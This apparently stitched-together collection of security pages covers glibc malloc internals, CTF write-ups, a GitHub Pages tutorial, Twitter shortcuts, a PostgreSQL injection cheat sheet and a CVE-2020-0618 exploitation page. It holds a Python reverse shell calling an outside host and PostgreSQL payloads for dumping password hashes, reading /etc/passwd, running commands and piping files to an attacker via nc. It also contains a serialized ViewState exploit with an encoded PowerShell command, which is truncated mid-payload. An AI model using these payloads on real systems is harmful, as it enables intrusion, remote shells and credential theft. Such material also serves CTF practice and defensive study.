# malloc_state 相关函数 ## malloc_init_state ```c /* Initialize a malloc_state struct. This is called only from within malloc_consolidate, which needs be called in the same contexts anyway. It is never called directly outside of malloc_consolidate because some optimizing compilers try to inline it at all call points, which turns out not to be an optimization at all. (Inlining it in malloc_consolidate is fine though.) */ static void malloc_init_state(mstate av) { int i; mbinptr bin; /* Establish circular links for normal bins */ for (i = 1; i < NBINS; ++i) { bin = bin_at(av, i); bin->fd = bin->bk = bin; } #if MORECORE_CONTIGUOUS if (av != &main_arena) #endif set_noncontiguous(av); if (av == &main_arena) set_max_fast(DEFAULT_MXFAST); // 设置 flags 标记目前没有fast chunk av->flags |= FASTCHUNKS_BIT; // 就是 unsorted bin av->top = initial_top(av); } ``` ## malloc_consolidate 该函数主要有两个功能 1. 若 fastbin 未初始化,即 global_max_fast 为0,那就初始化 malloc_state。 2. 如果已经初始化的话,就合并 fastbin 中的 chunk。 基本的流程如下 ### 初始 ```c static void malloc_consolidate(mstate av) { mfastbinptr *fb; /* current fastbin being consolidated */ mfastbinptr *maxfb; /* last fastbin (for loop control) */ mchunkptr p; /* current chunk being consolidated */ mchunkptr nextp; /* next chunk to consolidate */ mchunkptr unsorted_bin; /* bin header */ mchunkptr first_unsorted; /* chunk to link to */ /* These have same use as in free() */ mchunkptr nextchunk; INTERNAL_SIZE_T size; INTERNAL_SIZE_T nextsize; INTERNAL_SIZE_T prevsize; int nextinuse; mchunkptr bck; mchunkptr fwd; ``` ### 合并 chunk ```c /* If max_fast is 0, we know that av hasn't yet been initialized, in which case do so below */ // 说明 fastbin 已经初始化 if (get_max_fast() != 0) { // 清空 fastbin 标记 // 因为要合并 fastbin 中的 chunk 了。 clear_fastchunks(av); // unsorted_bin = unsorted_chunks(av); /* Remove each chunk from fast bin and consolidate it, placing it then in unsorted bin. Among other reasons for doing this, placing in unsorted bin avoids needing to calculate actual bins until malloc is sure that chunks aren't immediately going to be reused anyway. */ // 按照 fd 顺序遍历 fastbin 的每一个 bin,将 bin 中的每一个 chunk 合并掉。 maxfb = &fastbin(av, NFASTBINS - 1); fb = &fastbin(av, 0); do { p = atomic_exchange_acq(fb, NULL); if (p != 0) { do { check_inuse_chunk(av, p); nextp = p->fd; /* Slightly streamlined version of consolidation code in * free() */ size = chunksize(p); nextchunk = chunk_at_offset(p, size); nextsize = chunksize(nextchunk); if (!prev_inuse(p)) { prevsize = prev_size(p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); } if (nextchunk != av->top) { // 判断 nextchunk 是否是空闲的。 nextinuse = inuse_bit_at_offset(nextchunk, nextsize); if (!nextinuse) { size += nextsize; unlink(av, nextchunk, bck, fwd); } else // 设置 nextchunk 的 prev inuse 为0,以表明可以合并当前 fast chunk。 clear_inuse_bit_at_offset(nextchunk, 0); first_unsorted = unsorted_bin->fd; unsorted_bin->fd = p; first_unsorted->bk = p; if (!in_smallbin_range(size)) { p->fd_nextsize = NULL; p->bk_nextsize = NULL; } set_head(p, size | PREV_INUSE); p->bk = unsorted_bin; p->fd = first_unsorted; set_foot(p, size); } else { size += nextsize; set_head(p, size | PREV_INUSE); av->top = p; } } while ((p = nextp) != 0); } } while (fb++ != maxfb); ``` ### 初始化 说明 fastbin 还没有初始化。 ```c } else { malloc_init_state(av); // 在非调试情况下没有什么用,在调试情况下,做一些检测。 check_malloc_state(av); } ```
sec-knowleage
# Software update (Crypto, 182p, 23 solved) In the task we get a package with the server script and example archive with "software update". The server script simply reads a base64 encoded zip file from the socket, unpacks it, calculates expected signature of the archive contents and compares it with the attached signature. If the signature matches the archive contents the server runs two python scripts inside the archive. If we could add our own code in one of those scripts, we would gain RCE on the server. Signature verification is: ```python def check_signature(path, public_key): hash_value = compute_hash(path + "/signed_data") with open(path + "/" + signature_filename, "rb") as f: signature = f.read() verifier = PKCS1_PSS.new(public_key) return verifier.verify(Crypto.Hash.SHA256.new(hash_value), signature) ``` and it's rather solid. The RSA public key is strong and there is no way of forging the signature. We have the example [update archive](sw_update.zip) with it's initial, correct signature. It's the only signature we can really use, so the only way to smuggle some of our own code is if the archive contents hash does not change. The hash is calculated as: ```python def compute_hash(directory): """compute a hash of all files contained in <directory>.""" files = glob.glob(directory + "/**", recursive=True) files.sort() files.remove(directory + "/") result = bytearray(hashlib.sha256().digest_size) for filename in files: complete_path = filename relative_path = os.path.relpath(filename, directory) if os.path.isfile(complete_path): with open(complete_path, "rb") as f: h = hashlib.sha256(relative_path.encode('ASCII')) h.update(b"\0") h.update(f.read()) elif os.path.isdir(complete_path): relative_path += "/" h = hashlib.sha256(relative_path.encode('ASCII') + b"\0") else: pass result = xor(result, h.digest()) return result ``` Initially we tried to use the fact that this function does not take into consideration all files, and does not count symlinks. For example if this code: `relative_path += "/"` was not there, we could put a directory intead of one of the python files, without changing the archive hash. Finally we came into conclusion that this can't be done. The interesting thing to notice about this function is `result = xor(result, h.digest())`. It contains a bug, most likely unintended - if we include a symlink in the archive, then new value of `h` will not be computed, and thus the xor will be performed again with the previous file hash, nullifying it. Sadly this was not really exploitable. This `xor` here is unusual, and we figured that we need to use it. We can change one of the python scripts, and calculate the new hash. Then we can xor this new hash with the old hash, and we will get the `difference hash`. If we could now generate a file which would be hashed to this exact value, we could use it to nullify the changes we made to the script. But this would mean basically breaking sha256, because we would like to get a plaintext for a given hash value... However, we don't need to do this with a single file! We can use as many files as we need. This becomes a problem similar to `Subset Sum` - given a list of random files for which we know sha256 hashes, we would like to know if `xor` of a subset of those hashes gives the `difference hash` we have. We generated a bunch of empty randomly-named files, hashed them the same way as in the server (so with trialing nullbyte), and the run a modified `subset sum` solver on them, with the target value set to the `difference hash`. This way we got a list of files, which included in the archive would cause the archive hash to be identical to the initial one. Once we knew the method works we created a reverse shell in on the installer python scripts: ```python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("tailcall.net",12345)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) ``` we generated a new set of files to include in the archive, zipped it and sent to the server via: ```python def send_payload(): with codecs.open("new_update/sw_update.zip", "rb") as input_file: payload = base64.b64encode(input_file.read()) s = nc("35.198.64.68", 2023) msg = s.recv(9999) challenge = re.findall(b"Proof of work challenge: (.*)\s+", msg)[0] send(s, str(solve_proof_of_work(challenge))) print(s.recv(9999)) send(s, payload) print(s.recv(9999)) send_payload() ``` And after a moment we got a connection to our reverse shell.
sec-knowleage
# Signed shell server (pwn, 200) > I'll only execute shell commands that are authenticated with my hmac-sha1 key. > I'll sign a few benign commands for you, but after that, you're on your own! As described in the task description, we were given a binary that would execute anything we give it, but only if authenticated with HMAC. We were given `ls` and a few other commands - nothing useful though. The two global variables of particular interest were `char buff[256]` and immediately following `bool md5_vs_sha1`. The latter one was set based on `argc` - on server it was set to 1, which meant md5 was used as HMAC hash. The `buff` array was the place to which our input was sent to. It turns out we could overwrite the `md5_vs_sha1` flag with a zero by sending exactly 256 bytes of data, as the server, trying to be helpful, null-terminates the buffer: `buff[chars_read]=0;`. So, we were able to use sha1 now. The second bug was in the `execute` function too. The stack layout was generally: `char hash_buff[20]; void (*denied)(); void (*granted)();`. For some reason - I couldn't find a reasonable explanation - if the hash used was sha1, the hash was saved one byte later, i.e. at `hash_buff+1`. Since sha1 length is 20 bytes, that means we should be able to overwrite the `denied` function pointer's lowest byte (it was then called when HMAC was incorrect). By sending random data, we had about 1/256 chance of that byte becoming the same as `granted` function's, thus executing our command. So, we simply generated `cat flag` with a lot of random spaces and tabs to the rights, hoping it gives correct result. Eventually, it did.
sec-knowleage
# 在Github部署静态网页 如果你的项目只是一个静态网站,就没有必要再去整什么服务器,github pages 提供了搭建静态网站的功能; ### Github-Pages github Pages可以被认为是用户编写的、托管在github上的静态网页。 也就是项目的gh-pages分支。 ### Git 本地工作流 ##### 首先给主分支做版本 ``` git commit -a -m 'branch' ``` **注意**:在进行分支操作前,首先做下版本,否则会出错 ##### 查看当前分支 ``` git branch -a ``` ##### 创建`gh-pages`分支 ``` git branch gh-pages ``` ##### 切换到`gh-pages`分支 ``` git checkout gh-pages ``` ##### 修改配置文件`.gitignore` ``` vi .gitignore ``` ##### 添加需要忽略的文件(不需要上传的文件) ``` webpack.prod.config.js webpack.dev.config.js postcss.config.js /node_modules package.json /README.md /templete .babelrc /scripts /src ``` ### 上传到Github ##### 首先将需要部署到`gh-pages`分支的网页放在主项目文件夹里 因为只能部署静态网页,所以如果用框架需要打包成静态网页 ##### 添加需要上传到`gh-pages`分支上的文件 ``` git add . ``` ##### 然后做版本,最后上传到分支 ``` git commit -m '首次上传' git push -u origin gh-pages ``` ### 快捷的部署到 gh-pages 这一步,可以手动做: - 第一步:运行:`npm run build`,把md文件转化为html放到gh-pages文件夹 - 第二步:拷贝gh-pages中的所有文件,到gh-pages分支,然后上传 - 第三步:以后每次修改完都拷贝到gh-pages分支,很麻烦 所以,我们采用一个 npm 包,来帮助我们完成上面的操作 ##### 装包: ``` npm i gh-pages -D ``` ##### 然后创建配置文件`cnode/scripts/deploy-gh-pages.js` 将下面代码拷贝进去 ```js 'use strict'; var ghpages = require('gh-pages'); main(); function main() { ghpages.publish('./dist', console.error.bind(console)); //打包文件 } ``` ##### 调整`package.json`的`scripts`命令 ``` "scripts": { "start": "./node_modules/.bin/webpack-dev-server --config webpack.dev.config.js", //启动本地服务器 "build": "./node_modules/.bin/webpack --config webpack.prod.config.js", //打包成静态网页 "deploy": "node ./scripts/deploy-gh-pages.js", //上传到gh-pages分支 "publish": "npm run build && npm run deploy", //优化操作 "port": "lsof -i :35729" //端口占用提示 }, ``` ##### 本地启动查看网页 这样,每次有了修改,运行 ``` npm run publish ``` ##### 网页会部署到 ``` http://l552177239.github.io/[仓库名] ```
sec-knowleage
--- title: Twitter date: 2022-11-23 16:23:31.705009 background: bg-[#4894e2] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 26 keyboard shortcuts found on Twitter --- Keyboard Shortcuts ------------------ ### Actions Shortcut | Action ---|--- `N` | New tweet `L` | Like tweet `R` | Reply to tweet `T` | Retweet `M` | Direct message `U` | Mute account `B` | Block account `Enter` | Open tweet details `O` | Expand photos `/` | Search `Ctrl` `Enter` | Send tweet {.shortcuts} ### Navigation Shortcut | Action ---|--- `?` | Full keyboard menu `J` | Next tweet `K` | Previous tweet `Space` | Page down `.` | Load new tweets {.shortcuts} ### Timelines Shortcut | Action ---|--- `G` `N` | Home timeline `G` `O` | Moments `G` `N` | Notifications tab `G` `R` | Mentions `G` `P` | Profile `G` `L` | Likes tab `G` `I` | Lists tab `G` `M` | Direct messages `G` `S` | Settings and privacy `G` `U` | Go to someone's profile {.shortcuts} Also see -------- - [Keyboard shortcuts for Twitter](https://help.twitter.com/en/using-twitter/how-to-tweet) _(help.twitter.com)_
sec-knowleage
# Model E1337 - Rolling Code Lock ## [Flag0](./flag0) -- Found - Hidden functionality is good functionality - Comments can often reveal important things - XML from untrusted sources must be processed carefully - This application runs on the uwsgi-nginx-flask-docker image ## [Flag1](./flag1) -- Not Found
sec-knowleage
# PostgreSQL injection ## Summary * [PostgreSQL Comments](#postgresql-comments) * [PostgreSQL version](#postgresql-version) * [PostgreSQL Current User](#postgresql-current-user) * [PostgreSQL List Users](#postgresql-list-users) * [PostgreSQL List Password Hashes](#postgresql-list-password-hashes) * [PostgreSQL List Database Administrator Accounts](#postgresql-list-database-administrator-accounts) * [PostgreSQL List Privileges](#postgresql-list-privileges) * [PostgreSQL Check if Current User is Superuser](#postgresql-check-if-current-user-is-superuser) * [PostgreSQL database name](#postgresql-database-name) * [PostgreSQL List databases](#postgresql-list-database) * [PostgreSQL List tables](#postgresql-list-tables) * [PostgreSQL List columns](#postgresql-list-columns) * [PostgreSQL Error Based](#postgresql-error-based) * [PostgreSQL XML Helpers](#postgresql-xml-helpers) * [PostgreSQL Blind](#postgresql-blind) * [PostgreSQL Time Based](#postgresql-time-based) * [PostgreSQL Stacked query](#postgresql-stacked-query) * [PostgreSQL File Read](#postgresql-file-read) * [PostgreSQL File Write](#postgresql-file-write) * [PostgreSQL Command execution](#postgresql-command-execution) * [CVE-2019–9193](#cve-20199193) * [Using libc.so.6](#using-libcso6) * [Bypass Filter](#bypass-filter) * [References](#references) ## PostgreSQL Comments ```sql -- /**/ ``` ## PostgreSQL chain injection points symbols ```sql ; #Used to terminate a SQL command. The only place it can be used within a statement is within a string constant or quoted identifier. || #or statement # usage examples: /?whatever=1;(select 1 from pg_sleep(5)) /?whatever=1||(select 1 from pg_sleep(5)) ``` ## PostgreSQL Version ```sql SELECT version() ``` ## PostgreSQL Current User ```sql SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername(); ``` ## PostgreSQL List Users ```sql SELECT usename FROM pg_user ``` ## PostgreSQL List Password Hashes ```sql SELECT usename, passwd FROM pg_shadow ``` ## PostgreSQL List Database Administrator Accounts ```sql SELECT usename FROM pg_user WHERE usesuper IS TRUE ``` ## PostgreSQL List Privileges ```sql SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user ``` ## PostgreSQL Check if Current User is Superuser ```sql SHOW is_superuser; SELECT current_setting('is_superuser'); SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER; ``` ## PostgreSQL Database Name ```sql SELECT current_database() ``` ## PostgreSQL List Database ```sql SELECT datname FROM pg_database ``` ## PostgreSQL List Tables ```sql SELECT table_name FROM information_schema.tables ``` ## PostgreSQL List Columns ```sql SELECT column_name FROM information_schema.columns WHERE table_name='data_table' ``` ## PostgreSQL Error Based ```sql ,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC) ,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- ,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- ,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC) ' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1 ' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1 ' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1 ' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1 ``` ## PostgreSQL XML helpers ```sql select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row ``` The `query_to_xml` above returns all the results of the specified query as a single result. Chain this with the [PostgreSQL Error Based](#postgresql-error-based) technique to exfiltrate data without having to worry about `LIMIT`ing your query to one result. ```sql select database_to_xml(true,true,''); -- dump the current database to XML select database_to_xmlschema(true,true,''); -- dump the current db to an XML schema ``` Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition. ## PostgreSQL Blind ```sql ' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK ' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO ``` ## PostgreSQL Time Based #### Identify time based ```sql select 1 from pg_sleep(5) ;(select 1 from pg_sleep(5)) ||(select 1 from pg_sleep(5)) ``` #### Database dump time based ```sql select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1 ``` #### Table dump time based ```sql select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1 ``` #### columns dump time based ```sql select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1 select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1 ``` ```sql AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ``` ## PostgreSQL Stacked Query Use a semi-colon ";" to add another query ```sql http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));-- ``` ## PostgreSQL File Read ```sql select pg_ls_dir('./'); select pg_read_file('PG_VERSION', 0, 200); ``` NOTE: Earlier versions of Postgres did not accept absolute paths in `pg_read_file` or `pg_ls_dir`. Newer versions (as of [this](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) commit) will allow reading any file/filepath for super users or users in the `default_role_read_server_files` group. ```sql CREATE TABLE temp(t TEXT); COPY temp FROM '/etc/passwd'; SELECT * FROM temp limit 1 offset 0; ``` ```sql SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID SELECT lo_get(16420); -- use the OID returned from the above SELECT * from pg_largeobject; -- or just get all the large objects and their data ``` ## PostgreSQL File Write ```sql CREATE TABLE pentestlab (t TEXT); INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash'); SELECT * FROM pentestlab; COPY pentestlab(t) TO '/tmp/pentestlab'; ``` Or as one line: ```sql COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab'; ``` ```sql SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20 SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport ``` ## PostgreSQL Command execution ### CVE-2019–9193 Can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries. ```SQL DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function SELECT * FROM cmd_exec; -- [Optional] View the results DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table ``` ### Using libc.so.6 ```sql CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>'); ``` ### Bypass Filter #### Quotes Using CHR ```sql SELECT CHR(65)||CHR(66)||CHR(67); ``` Using Dollar-signs ( >= version 8 PostgreSQL) ```sql SELECT $$This is a string$$ SELECT $TAG$This is another string$TAG$ ``` ## References * [A Penetration Tester’s Guide to PostgreSQL - David Hayter](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9) * [Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) * [SQL Injection /webApp/oma_conf ctx parameter (viestinta.lahitapiola.fi) - December 8, 2016 - Sergey Bobrov (bobrov)](https://hackerone.com/reports/181803) * [POSTGRESQL 9.X REMOTE COMMAND EXECUTION - 26 Oct 17 - Daniel](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/) * [SQL Injection and Postgres - An Adventure to Eventual RCE - May 05, 2020 - Denis Andzakovic](https://pulsesecurity.co.nz/articles/postgres-sqli) * [Advanced PostgreSQL SQL Injection and Filter Bypass Techniques - 2009 - INFIGO](https://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf)
sec-knowleage
# T1190-CVE-2020-0618-SQL_server远程代码执行漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 SQL Server Reporting Services是依托于SQL Server的一个附属组件。其作用是利用SQL Server 中的数据,便捷的生成用户友好的图表。该服务默认是内部服务,默认开放在localhost的80端口。 该漏洞需要经过身份验证后,攻击者向SQL Server 的报告服务(Reporting Services) 发送特制请求进行触发。攻击成功可获得SQL Server服务的对应控制权限。 影响范围: ```yml SQL Server 2016 Service Pack 2(GDR) 13.0.5026.0 - 13.0.5101.9 KB4505220 SQL Server 2016 Service Pack 2 CU11 13.0.5149.0 - 13.0.5598.27 KB4527378 SQL Server 2014 Service Pack 3 (GDR) 12.0.6024.0 - 12.0.6108.1 KB4505218 Server 2014 Service Pack 2 CU4 12.0.6205.1 - 12.0.6329.1 KB4500181 SQL Server 2012 Service Pack 4 (QFE) 111.0.7001.0 - 11.0.7462.6 KB4057116 ``` ## 检测日志 HTTP ## 测试复现 ### 利用POC ```yml POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded Content-Length: X NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[PayloadHere]&__VIEWSTATE= ``` ## 测试留痕 ```yml POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1 Host: 10.16.45.164:43452 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate Accept: */* Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 4931 Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHIAAADQANAAigAAAAAAAABYAAAAGgAaAFgAAAAAAAAAcgAAABAAEABaAQAANYKK4gYBsR0AAAAPZbeJ4F7Hurhq3KRbofjXh0EAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZNI4oLUbq8WOw+I6xP4TBQEBAAAAAAAAPxs79Pus1gEZGK1/9HV2LQAAAAACAB4AVwBJAE4ALQBBAEkAVQBDAE8AVQBLAEkAUQA1AEEAAQAeAFcASQBOAC0AQQBJAFUAQwBPAFUASwBJAFEANQBBAAQAHgBXAEkATgAtAEEASQBVAEMATwBVAEsASQBRADUAQQADAB4AVwBJAE4ALQBBAEkAVQBDAE8AVQBLAEkAUQA1AEEABwAIAD8bO/T7rNYBBgAEAAIAAAAAAAAAAAAAAPpOCRDGkg49ccL4zPkP3QI= __VIEWSTATE=&NavigationCorrector%24PageState=NeedsCorrection&NavigationCorrector%24ViewState=%2FwEynBwAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAA4govYyBwb3dlcnNoZWxsLmV4ZSAtZW5jb2RlZENvbW1hbmQgSkFCakFHd0FhUUJsQUc0QWRBQWdBRDBBSUFCT0FHVUFkd0F0QUU4QVlnQnFBR1VBWXdCMEFDQUFVd0I1QUhNQWRBQmxBRzBBTGdCT0FHVUFkQUF1QUZNQWJ3QmpBR3NBWlFCMEFITUFMZ0JVQUVNQVVBQkRBR3dBYVFCbEFHNEFkQUFvQUNJQU1RQTNBRElBTGdBeEFEWUFMZ0F4QURBQU1RQXVBREVBTlFBMkFDSUFMQUEwQURVQU5nQTNBQ2tBT3dBa0FITUFkQUJ5QUdVQVlRQnRBQ0FBUFFBZ0FDUUFZd0JzQUdrQVpRQnVBSFFBTGdCSEFHVUFkQUJUQUhRQWNnQmxBR0VBYlFBb0FDa0FPd0JiQUdJQWVRQjBBR1VBV3dCZEFGMEFKQUJpQUhrQWRBQmxBSE1BSUFBOUFDQUFNQUF1QUM0QU5nQTFBRFVBTXdBMUFId0FKUUI3QURBQWZRQTdBSGNBYUFCcEFHd0FaUUFvQUNnQUpBQnBBQ0FBUFFBZ0FDUUFjd0IwQUhJQVpRQmhBRzBBTGdCU0FHVUFZUUJrQUNnQUpBQmlBSGtBZEFCbEFITUFMQUFnQURBQUxBQWdBQ1FBWWdCNUFIUUFaUUJ6QUM0QVRBQmxBRzRBWndCMEFHZ0FLUUFwQUNBQUxRQnVBR1VBSUFBd0FDa0Fld0E3QUNRQVpBQmhBSFFBWVFBZ0FEMEFJQUFvQUU0QVpRQjNBQzBBVHdCaUFHb0FaUUJqQUhRQUlBQXRBRlFBZVFCd0FHVUFUZ0JoQUcwQVpRQWdBRk1BZVFCekFIUUFaUUJ0QUM0QVZBQmxBSGdBZEFBdUFFRUFVd0JEQUVrQVNRQkZBRzRBWXdCdkFHUUFhUUJ1QUdjQUtRQXVBRWNBWlFCMEFGTUFkQUJ5QUdrQWJnQm5BQ2dBSkFCaUFIa0FkQUJsQUhNQUxBQXdBQ3dBSUFBa0FHa0FLUUE3QUNRQWN3QmxBRzRBWkFCaUFHRUFZd0JyQUNBQVBRQWdBQ2dBYVFCbEFIZ0FJQUFrQUdRQVlRQjBBR0VBSUFBeUFENEFKZ0F4QUNBQWZBQWdBRThBZFFCMEFDMEFVd0IwQUhJQWFRQnVBR2NBSUFBcEFEc0FKQUJ6QUdVQWJnQmtBR0lBWVFCakFHc0FNZ0FnQUNBQVBRQWtBSE1BWlFCdUFHUUFZZ0JoQUdNQWF3QWdBQ3NBSUFBaUFGQUFVd0FnQUNJQUlBQXJBQ0FBS0FCd0FIY0FaQUFwQUM0QVVBQmhBSFFBYUFBZ0FDc0FJQUFpQUQ0QUlBQWlBRHNBSkFCekFHVUFiZ0JrQUdJQWVRQjBBR1VBSUFBOUFDQUFLQUJiQUhRQVpRQjRBSFFBTGdCbEFHNEFZd0J2QUdRQWFRQnVBR2NBWFFBNkFEb0FRUUJUQUVNQVNRQkpBQ2tBTGdCSEFHVUFkQUJDQUhrQWRBQmxBSE1BS0FBa0FITUFaUUJ1QUdRQVlnQmhBR01BYXdBeUFDa0FPd0FrQUhNQWRBQnlBR1VBWVFCdEFDNEFWd0J5QUdrQWRBQmxBQ2dBSkFCekFHVUFiZ0JrQUdJQWVRQjBBR1VBTEFBd0FDd0FKQUJ6QUdVQWJnQmtBR0lBZVFCMEFHVUFMZ0JNQUdVQWJnQm5BSFFBYUFBcEFEc0FKQUJ6QUhRQWNnQmxBR0VBYlFBdUFFWUFiQUIxQUhNQWFBQW9BQ2tBZlFBN0FDUUFZd0JzQUdrQVpRQnVBSFFBTGdCREFHd0Fid0J6QUdVQUtBQXBBQT09BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxO